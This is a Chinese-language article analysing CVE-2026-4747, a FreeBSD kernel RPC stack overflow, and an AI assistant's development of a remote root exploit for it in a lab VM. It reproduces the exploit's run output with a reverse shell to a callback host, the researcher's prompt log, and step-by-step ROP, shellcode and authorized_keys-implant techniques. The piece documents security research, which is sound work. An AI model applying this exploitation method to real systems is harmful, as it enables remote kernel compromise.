CVE-2026-4747 FreeBSD内核栈溢出漏洞分析与Claude自动编写ROP利用实践

近日，安全社区关注到一则有趣的安全事件：编号为CVE-2026-4747的FreeBSD内核远程代码执行漏洞，其完整的远程利用程序（Exploit）竟然是由AI助手Claude编写完成的，并成功获得了目标系统的root权限。这不仅是安全研究领域的一个新尝试，也对未来漏洞发现与利用自动化提出了新的思考。

事件时间线

• 2026-03-26: FreeBSD官方发布关于CVE-2026-4747的安全公告，并将漏洞发现者标注为 “Nicholas Carlini using Claude, Anthropic”。
• PDT 2026-03-29 09:45: 研究人员要求Claude为该漏洞开发一个利用程序。
• PDT 2026-03-29 17:00: Claude交付了一个可工作的利用程序，能够远程获得一个root shell。

总计耗时: 约8小时（用户实际交互时间），Claude的实际计算工作时间约为4小时。

Claude实际编写了两个功能不同的漏洞利用程序，并且两个程序都一次成功。其核心利用过程演示输出如下：

python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  
 Starting listener on 0.0.0.0:4444...
  
 Starting listener on 0.0.0.0:4444...

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/freebsd-vuln@TEST.LOCAL

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15] pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS is now RWX

  [R2/15] write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15] write (4 qwords → 0xffffffff8198a820) ✓
  [R4/15] write (4 qwords → 0xffffffff8198a840) ✓
  [R5/15] write (4 qwords → 0xffffffff8198a860) ✓
  [R6/15] write (4 qwords → 0xffffffff8198a880) ✓
  [R7/15] write (4 qwords → 0xffffffff8198a8a0) ✓
  [R8/15] write (4 qwords → 0xffffffff8198a8c0) ✓
  [R9/15] write (4 qwords → 0xffffffff8198a8e0) ✓
  [R10/15] write (4 qwords → 0xffffffff8198a900) ✓
  [R11/15] write (4 qwords → 0xffffffff8198a920) ✓
  [R12/15] write (4 qwords → 0xffffffff8198a940) ✓
  [R13/15] write (4 qwords → 0xffffffff8198a960) ✓
  [R14/15] write (4 qwords → 0xffffffff8198a980) ✓
  [R15/15] write + EXECUTE (2 qwords → 0xffffffff8198a9a0) → JUMP 0xffffffff8198a800

  
 Shellcode delivered and executing.
  
 kproc_create → kern_execve('/bin/sh -c ...')
  
 Reverse shell → 10.0.2.2:4444

  
 Waiting for reverse shell...
  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can‘t access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

那么，它是如何一步步实现的呢？以下是研究人员与Claude交互的关键提示词（Prompt）记录，清晰展示了从环境搭建到最终利用的引导过程：

1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability
2. we want to use docker for this not qemu if possible.. we should still be able to connect and debug it the same i assume
3. why does it need to be QEMU and not docker for this to be a real exploit?
4. no just use QEMU then
5. okay now can you maybe generate an entire RCE exploit for this image ?
6. wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD module as described in the advisory ?
7. i mean why wouldnt you just install a vulnerable version as mentioned in the advisory
8. okay contoninue to trigger this vuln.
9. what old qemu did you kill? we are using qemu in another session as well. do not kill that Linux qemu.
10. why is it running on 2222 2049 and 1111
11. okay now what about getting RCE.
12. tere is no kaslr so it should be easy
13. install ropgadget or what ever you need ... idk
14. no we dont want to reboot? we want a reverse shell as uid 0 if possible ?
15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe
16. is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0
17. from a remote context aka the exploit should be executed from outside the vm
18. no just continue to get the remote version working. use gdb and hat ever tools you need.
19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop.
20. you need to keep notes of our current status and what you have done to get here. thanks.
21. you should verify everything with gdb if you need etc.
22. 1. Pure ROP — no shellcode needed, but we‘re stuck on rax→rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets?
23. why do we need kdc ?
24. nope that wont work as we cant do that from a remote exploit context without having accss to the shell
25. dont think we can prestage a /tmp/x ..
26. working means a connectback shell as uid0
27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropchain, the overflow, and how to install and setup a vuln target for testing
28. i want a shell.
29. wait what do you mean increase nfs threadcount i guess we should use defaults here..
30. no just continue to get the remote version working. use gdb and hat ever tools you need.
31. make the writeup better explaining each step of the exploit and why
32. also # SSH tunnel for Kerberos KDC sshpass -p freebsd ssh -L 8888:127.0.0.1:88 -N -f -p 2222 root@127.0.0.1 is it possible to do without an ssh tunnel ?
33. can you do the forward nstead of ssh tunnel then test the exploit again
34. /tmp/final_exploit hardly looks like the final exploit ...
35. why dont you make a nicer exploit where you can supply a target and cb ip ... and do everything inline in that exploit
36. the rop / shellcode everything ..
37. the writeup feels kind of bare, explain the shellcode as if the reader has never seen FBSD001 also what do you mean the “bruteforce“ version?
38. also retest and verify it works
39. update the writeup to tell how to also setup a vulnerable target using vmware for example without a KDC tunnel
40. how can i boot the qemu and test it
41. why is KDC required? and nfsd ?
42. okay you noted this stuff in the writeup?
43. do you have the prompt log ? i want to see the original prompt for this
44. can you give me back all the prompts i entered in this session

Claude的成果

从理解漏洞公告到编写出可用的远程root shell利用程序，Claude需要解决一系列复杂的技术挑战。值得注意的是，FreeBSD 14.x没有启用KASLR（内核地址空间布局随机化），且被溢出的缓冲区是int32_t[]类型，没有栈保护金丝雀，这些因素使得利用比现代Linux内核更为容易。Claude成功解决了以下六个关键问题：

1. 实验环境搭建：启动一个带有NFS、Kerberos和易受攻击内核模块的FreeBSD虚拟机，并完成所有网络服务配置，使远程溢出成为可能。Claude知道虚拟机需要至少2个CPU，因为FreeBSD会为每个CPU核心生成多个NFS服务线程，而每次攻击会“消耗”一个线程。这还包括设置远程调试环境，以便Claude可以读取和分析内核崩溃转储。
2. 多数据包发送策略：完整的shellcode无法放入单个网络数据包中。Claude设计了一个15轮（round）的策略：首先发送一个数据包使目标内核的特定内存区域变为可读写执行（RWX），然后在后续14个数据包中，每次写入32字节的shellcode片段。在另一个私下分享的利用版本中，Claude采用了不同策略，将攻击者的公钥写入目标主机的~/.ssh/authorized_keys文件，从而将攻击轮次减少到6轮。
3. 线程的干净终止：每次溢出都会劫持一个NFS内核线程。为了避免导致整个NFS服务崩溃，Claude在利用链中使用了kthread_exit()函数来干净地终止每个被劫持的线程，从而保持服务器存活以进行后续轮次的攻击。
4. 偏移量调试：通过反汇编获得的初始堆栈偏移量并不准确。Claude通过发送特殊的德布劳因（De Bruijn）序列（一种常用于偏移量计算的模式），读取触发漏洞后的内核崩溃转储，并准确地修正了偏移量。
5. 内核态到用户态的转换：被劫持的NFS内核线程本身无法直接运行用户态程序（如/bin/sh）。Claude的利用链通过kproc_create()创建一个新的内核进程，然后使用kern_execve()将其进程映像替换为/bin/sh，并清除了P_KPROC标志，使得该新进程可以顺利切换到用户模式执行。
6. 硬件断点错误处理：新创建的子进程会不断因调试异常而崩溃。Claude通过分析发现，这是由于从父进程（调试状态的内核）继承而来的陈旧硬件调试寄存器（DR7）导致的。通过在fork之前清除DR7寄存器，成功修复了此问题。

结论

计算机程序发现软件漏洞的能力早已不是新闻。像AFL和syzkaller这样的模糊测试工具发现各种内核漏洞已有十多年历史。然而，发现漏洞与成功利用漏洞是截然不同的两件事。漏洞利用开发需要深刻理解操作系统内部机制、精心构建ROP链、精确控制内存布局、耐心调试崩溃，并根据意外情况灵活调整策略。长期以来，这被认为是需要人类专家经验、直觉和创造力的领域。

每当一项新的人工智能能力出现时，总会伴随着“AI可以做Y，但只有人类才能做X”的论断。对于“X = 漏洞利用开发”而言，这条界限似乎正在被悄然地、却又实实在在地向前推移。

• 原文分析：https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd
• 漏洞利用代码：https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py
• 技术分析报告：https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/write-up.md